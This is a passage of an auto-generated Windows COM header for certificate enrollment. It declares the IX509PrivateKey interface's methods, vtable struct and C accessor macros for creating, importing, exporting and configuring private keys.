\tX509PrivateKeyProtection;\n\ntypedef \nenum X509PrivateKeyVerify\n    {\n        VerifyNone\t= 0,\n        VerifySilent\t= 1,\n        VerifySmartCardNone\t= 2,\n        VerifySmartCardSilent\t= 3,\n        VerifyAllowUI\t= 4\n    } \tX509PrivateKeyVerify;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0013_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0013_v0_0_s_ifspec;\n\n#ifndef __IX509PrivateKey_INTERFACE_DEFINED__\n#define __IX509PrivateKey_INTERFACE_DEFINED__\n\n/* interface IX509PrivateKey */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PrivateKey;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab30c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PrivateKey : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Open( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Create( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Close( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Delete( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Verify( \n            /* [in] */ X509PrivateKeyVerify VerifyType) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Import( \n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Export( \n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ExportPublicKey( \n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ContainerName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ContainerName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ContainerNamePrefix( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ContainerNamePrefix( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ReaderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ReaderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspInformations( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CspInformations( \n            /* [in] */ __RPC__in_opt ICspInformations *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspStatus( \n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CspStatus( \n            /* [in] */ __RPC__in_opt ICspStatus *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ProviderName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ProviderName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ProviderType( \n            /* [retval][out] */ __RPC__out X509ProviderType *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ProviderType( \n            /* [in] */ X509ProviderType Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_LegacyCsp( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_LegacyCsp( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Algorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Algorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeySpec( \n            /* [in] */ X509KeySpec Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Length( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Length( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ExportPolicy( \n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ExportPolicy( \n            /* [in] */ X509PrivateKeyExportFlags Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyUsage( \n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyUsage( \n            /* [in] */ X509PrivateKeyUsageFlags Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeyProtection( \n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_KeyProtection( \n            /* [in] */ X509PrivateKeyProtection Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MachineContext( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_MachineContext( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SecurityDescriptor( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SecurityDescriptor( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UniqueContainerName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Opened( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DefaultContainer( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Existing( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_Existing( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Pin( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_FriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Description( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Description( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PrivateKeyVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PrivateKey * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PrivateKey * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PrivateKey * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Open )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Create )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Close )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Delete )( \n            __RPC__in IX509PrivateKey * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Verify )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyVerify VerifyType);\n        \n        HRESULT ( STDMETHODCALLTYPE *Import )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *ExportPublicKey )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReaderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ReaderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatus )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspStatus )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderType )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderType )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509ProviderType Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_LegacyCsp )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Algorithm )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeySpec )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509KeySpec Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Length )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ExportPolicy )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ExportPolicy )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyExportFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyUsage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyUsageFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyProtection )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyProtection )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ X509PrivateKeyProtection Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineContext )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_MachineContext )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509PrivateKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Certificate )( \n            __RPC__in IX509PrivateKey * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UniqueContainerName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Opened )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultContainer )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Existing )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Existing )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in IX509PrivateKey * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Description )( \n            __RPC__in IX509PrivateKey * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        END_INTERFACE\n    } IX509PrivateKeyVtbl;\n\n    interface IX509PrivateKey\n    {\n        CONST_VTBL struct IX509PrivateKeyVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PrivateKey_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PrivateKey_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PrivateKey_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PrivateKey_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PrivateKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PrivateKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PrivateKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PrivateKey_Open(This)\t\\\n    ( (This)->lpVtbl -> Open(This) ) \n\n#define IX509PrivateKey_Create(This)\t\\\n    ( (This)->lpVtbl -> Create(This) ) \n\n#define IX509PrivateKey_Close(This)\t\\\n    ( (This)->lpVtbl -> Close(This) ) \n\n#define IX509PrivateKey_Delete(This)\t\\\n    ( (This)->lpVtbl -> Delete(This) ) \n\n#define IX509PrivateKey_Verify(This,VerifyType)\t\\\n    ( (This)->lpVtbl -> Verify(This,VerifyType) ) \n\n#define IX509PrivateKey_Import(This,strExportType,strEncodedKey,Encoding)\t\\\n    ( (This)->lpVtbl -> Import(This,strExportType,strEncodedKey,Encoding) ) \n\n#define IX509PrivateKey_Export(This,strExportType,Encoding,pstrEncodedKey)\t\\\n    ( (This)->lpVtbl -> Export(This,strExportType,Encoding,pstrEncodedKey) ) \n\n#define IX509PrivateKey_ExportPublicKey(This,ppPublicKey)\t\\\n    ( (This)->lpVtbl -> ExportPublicKey(This,ppPublicKey) ) \n\n#define IX509PrivateKey_get_ContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerName(This,pValue) ) \n\n#define IX509PrivateKey_put_ContainerName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerName(This,Value) ) \n\n#define IX509PrivateKey_get_ContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerNamePrefix(This,pValue) ) \n\n#define IX509PrivateKey_put_ContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerNamePrefix(This,Value) ) \n\n#define IX509PrivateKey_get_ReaderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReaderName(This,pValue) ) \n\n#define IX509PrivateKey_put_ReaderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ReaderName(This,Value) ) \n\n#define IX509PrivateKey_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509PrivateKey_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509PrivateKey_get_CspStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatus(This,ppValue) ) \n\n#define IX509PrivateKey_put_CspStatus(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspStatus(This,pValue) ) \n\n#define IX509PrivateKey_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509PrivateKey_put_ProviderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderName(This,Value) ) \n\n#define IX509PrivateKey_get_ProviderType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderType(This,pValue) ) \n\n#define IX509PrivateKey_put_ProviderType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderType(This,Value) ) \n\n#define IX509PrivateKey_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define IX509PrivateKey_put_LegacyCsp(This,Value)\t\\\n    ( (This)->lpVtbl -> put_LegacyCsp(This,Value) ) \n\n#define IX509PrivateKey_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PrivateKey_put_Algorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Algorithm(This,pValue) ) \n\n#define IX509PrivateKey_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509PrivateKey_put_KeySpec(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeySpec(This,Value) ) \n\n#define IX509PrivateKey_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PrivateKey_put_Length(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Length(This,Value) ) \n\n#define IX509PrivateKey_get_ExportPolicy(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ExportPolicy(This,pValue) ) \n\n#define IX509PrivateKey_put_ExportPolicy(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ExportPolicy(This,Value) ) \n\n#define IX509PrivateKey_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#define IX509PrivateKey_put_KeyUsage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyUsage(This,Value) ) \n\n#define IX509PrivateKey_get_KeyProtection(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyProtection(This,pValue) ) \n\n#define IX509PrivateKey_put_KeyProtection(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyProtection(This,Value) ) \n\n#define IX509PrivateKey_get_MachineContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineContext(This,pValue) ) \n\n#define IX509PrivateKey_put_MachineContext(This,Value)\t\\\n    ( (This)->lpVtbl -> put_MachineContext(This,Value) ) \n\n#define IX509PrivateKey_get_SecurityDescriptor(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SecurityDescriptor(This,pValue) ) \n\n#define IX509PrivateKey_put_SecurityDescriptor(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SecurityDescriptor(This,Value) ) \n\n#define IX509PrivateKey_get_Certificate(This,Encoding,pValue)\t\\\n    ( 